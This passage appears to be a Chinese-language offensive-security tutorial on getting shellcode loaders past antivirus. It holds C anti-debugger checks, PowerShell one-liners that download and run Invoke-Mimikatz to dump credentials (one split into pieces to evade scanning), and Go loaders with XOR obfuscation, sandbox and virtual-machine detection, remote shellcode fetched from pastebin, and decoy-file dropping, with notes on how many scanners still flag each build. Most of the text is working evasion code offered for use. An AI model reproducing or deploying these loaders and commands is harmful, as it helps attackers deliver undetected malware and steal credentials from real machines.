  PROCESSENTRY32W processEntry = { 0 };
  processEntry.dwSize = sizeof(PROCESSENTRY32W);
  HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);  //对所有进程创建快照
  if (Process32FirstW(hSnapshot, &processEntry))  //遍历快照,找到当前传入PID的进程信息
  {
    do
    {
      if (processEntry.th32ProcessID == pid)
      {
        ppid = processEntry.th32ParentProcessID;  //找到并返回传入PID的父进程PID
        break;
      }
    } while (Process32NextW(hSnapshot, &processEntry));
  }
  CloseHandle(hSnapshot);
  return ppid;
}

void main()
{
  DWORD parentPid = GetParentPID(GetCurrentProcessId()); //获取当前进程父进程PID
  WCHAR parentName[MAX_PATH + 1];
  DWORD dwParentName = MAX_PATH;
  HANDLE hParent = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, parentPid);  //打开父进程
  QueryFullProcessImageNameW(hParent, 0, parentName, &dwParentName); // another way to get process name is to use 'Toolhelp32Snapshot' //获取进程名
  CharUpperW(parentName);
  if (wcsstr(parentName, L"WINDBG.EXE")) return; //匹配

  wprintf_s(L"Now hacking...\n");
}

进程镂空

动态调用API

  typedef LPVOID(WINAPI* ImportVirtualAlloc)(
    LPVOID lpAddress,
    SIZE_T dwSize,
    DWORD  flAllocationType,
    DWORD  flProtect
    );
  unsigned char buf[] = "shellcode";
  ImportVirtualAlloc a = (ImportVirtualAlloc)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "VirtualAlloc");
  a(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

Powershell

远程执行与本地执行

远程执行

powershell可以加载远程的ps1文件。这样做的好处是实现了无文件落地。

powershell "IEX (New-Object Net.WebClient).DownloadString('http://127.0.0.1/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"

不过市面上很多杀软对downloadstring检测十分十分严格(许多会检测远程文件安全性)

powershell -exec bypass -f \\webdavserver\folder\payload.ps1 (smb)

本地执行

powershell Import-Module .\xx.ps1

命令拆分

就像刚刚远程加载的downloadstring法,它很容易被杀软拦截。但是我们可以通过拆分重组绕过一些杀软检测。

powershell -c "$c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://webserver/xxx.ps1'')'.Replace('123','adString');IEX ($c1+$c2)"

GO

FUNNY

很有趣的一件事是,用go语言写个helloworld传到vt被14家杀,牛批

image-20210819215802696

生成EXE

go 编译为EXE 的做法是go build ....go,但这样EXE打开时会有个黑框

go build -ldflags "-H windowsgui" ..go 生成无窗口EXE,但这样会增加杀软的查杀度

申请内存加载shellcode

package main

import (
"syscall"
"unsafe"
)

const (
  MEM_COMMIT             = 0x1000
  MEM_RESERVE            = 0x2000
  PAGE_EXECUTE_READWRITE = 0x40 // 区域可以执行代码,应用程序可以读写该区域。
  KEY_1                  = 55
  KEY_2                  = 66
)

var (
  kernel32      = syscall.MustLoadDLL("kernel32.dll")
  ntdll         = syscall.MustLoadDLL("ntdll.dll")
  VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")
  RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)

func main(){
  shellcode:=[]byte{0xfc,...,0x30,0x00,0x19,0x69,0xa0,0x8d}
  addr,_,err:=VirtualAlloc.Call(0,uintptr(len(shellcode)),MEM_COMMIT, PAGE_EXECUTE_READWRITE )
  if err != nil && err.Error() != "The operation completed successfully." {
    syscall.Exit(0)
  }
  _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
  if err != nil && err.Error() != "The operation completed successfully." {
    syscall.Exit(0)
  }
  syscall.Syscall(addr, 0, 0, 0, 0)
}

最原始版本,被杀成哈批,但即使这样360也杀不出来,可以看出绕过360有手就行

image-20210818180146046

简单XOR

xor模块(获得xor后的shellcode)
  for i:=0;i<len(shellcode);i++{
    fmt.Print("0x",strconv.FormatInt(int64(shellcode[i]^123),16),",")
  }
  xor_shellcode:=[]byte{xored_shellcode}
  var shellcode []byte
  for i:=0;i<len(xor_shellcode);i++{
    shellcode=append(shellcode,xor_shellcode[i]^123)
  }
  addr,_,err:=VirtualAlloc.Call(0,uintptr(len(shellcode)),MEM_COMMIT, PAGE_EXECUTE_READWRITE )
  if err != nil && err.Error() != "The operation completed successfully." {
    syscall.Exit(0)
  }
  _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
  if err != nil && err.Error() != "The operation completed successfully." {
    syscall.Exit(0)
  }
  syscall.Syscall(addr, 0, 0, 0, 0)

image-20210818185018219

好了点,但是如果加上无框启动,还是会被杀成哈批

沙盒&虚拟机检测

imoprt{  "github.com/shirou/gopsutil/host"
  "github.com/shirou/gopsutil/mem"
  "github.com/shirou/gopsutil/disk"
  }

func CheckTime() bool{
  timeBoot, _ := host.BootTime()
  t := time.Unix(int64(timeBoot), 0)
  timeNow:=time.Now()
  ts:=timeNow.Sub(t)
  if ts.Minutes()<12{
    return false
  }else{
    return true
  }
}

func CheckName() bool{
  files, _ := ioutil.ReadDir("./")
  for _, f := range files {
    if f.Name()=="ActiveX.exe"{
      return true
    }
  }
  return false
}

func CheckSystem() bool{
  info1,_:=mem.SwapMemory()
  info2,_:=mem.VirtualMemory()
  disk,_:=disk.Usage("c:")
  if(runtime.NumCPU()<2&&info1.Total<2147483648&&info2.Total<2147483648&&disk.Total<21474836480){
    return false
  }
  return true
}

image-20210818192335970

用它和XOR打组合拳效果将就,用了无窗启动后有7个查出来

虚拟机:敏感文件检测

这个会被defender拦,不必要的话不用这个

func PathExists(path string) (bool, error) { //判断文件是否存在
  _, err := os.Stat(path)
  if err == nil {
    return true, nil
  }
  if os.IsNotExist(err) {
    return false, nil
  }
  return false, err
}
func fack(path string) { //判断虚拟机关键文件是否存在
  b, _ := PathExists(path)
  if b {
    fmt.Printf("当前是虚拟机环境,别分析了,哥。")
    os.Exit(1) //如果是虚拟机就退出当前进程
  }
}
func check() {
  fack("C:\\windows\\System32\\Drivers\\Vmmouse.sys")
  fack("C:\\windows\\System32\\Drivers\\vmtray.dll")
  fack("C:\\windows\\System32\\Drivers\\VMToolsHook.dll")
  fack("C:\\windows\\System32\\Drivers\\vmmousever.dll")
  fack("C:\\windows\\System32\\Drivers\\vmhgfs.dll")
  fack("C:\\windows\\System32\\Drivers\\vmGuestLib.dll")
  fack("C:\\windows\\System32\\Drivers\\VBoxMouse.sys")
  fack("C:\\windows\\System32\\Drivers\\VBoxGuest.sys")
  fack("C:\\windows\\System32\\Drivers\\VBoxSF.sys")
  fack("C:\\windows\\System32\\Drivers\\VBoxVideo.sys")
  fack("C:\\windows\\System32\\vboxdisp.dll")
  fack("C:\\windows\\System32\\vboxhook.dll")
  fack("C:\\windows\\System32\\vboxoglerrorspu.dll")
  fack("C:\\windows\\System32\\vboxoglpassthroughspu.dll")
  fack("C:\\windows\\System32\\vboxservice.exe")
  fack("C:\\windows\\System32\\vboxtray.exe")
  fack("C:\\windows\\System32\\VBoxControl.exe")
}

远程读shellcode

  Url,err:=url.Parse("https://pastebin.com/aa")
  if err!=nil{
    panic("error")
  }
  client:=http.Client{}
  req,_:=http.NewRequest("GET",Url.String(),nil)
  req.Header.Add("User-Agent","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36")
  req.Header.Add("Cookie","SUB=_2 SUBP=00")
  resp,_:=client.Do(req)
  body,_:=ioutil.ReadAll(resp.Body)  //string形式获取了页面内容,以上代码为主体部分

  //通过一系列正则匹配,字符串截取等方法从页面中得到shellcode(页面中我的shellcode是这样的rngrngfc,48,....,aalgdlgd)
  re:=regexp.MustCompile(`rngrng.*lgdlgd`)
  match:=re.FindString(string(body))
  match=match[6:len(match)-6]
  return match

但是拖下来的shellcode是string格式,我们需要把他转为[]byte

func aa(encodes string) []byte{
  var xor_shellcode []byte
  spi:=","
  enc:=strings.Split(encodes,spi)


  for i,_ :=range enc{
    tmps,_:=hex.DecodeString(enc[i])
    if(len(tmps)>0) {
      xor_shellcode = append(xor_shellcode, tmps[0])
    }
  }
  return xor_shellcode
}

远程+XOR+沙箱 反而被杀的更多...看来这个HTTP函数被抓的很紧,还被360杀出来了

image-20210818233352655

读取文件中的SHELLCODE

    var sc []byte
    bytes,_:=ioutil.ReadFile("C:\\Users\\xx\\Desktop\\sc.txt")
    tmp:=strings.Split(string(bytes),",")
    for i,_ :=range tmp{
      tmps,_:=hex.DecodeString(tmp[i])
      if(len(tmps)>0) {
        sc = append(sc, tmps[0])
      }
    }

image-20210819212634402

可以

文件释放

在我们木马运行时可以释放一个正常文件并运行,达到DLL劫持或者迷惑视听的作用。

获取文件内容
  file,_:=os.Open("E:\\tools\\shell\\cobaltstrike4.3\\cobaltstrike.exe")
  fi,_:=file.Stat()
  size:=fi.Size()
  data := make([]byte, size)
  file.Read(data)
  for _,i:=range data{
    fmt.Print(strconv.Itoa(int(i))+",")
  }

\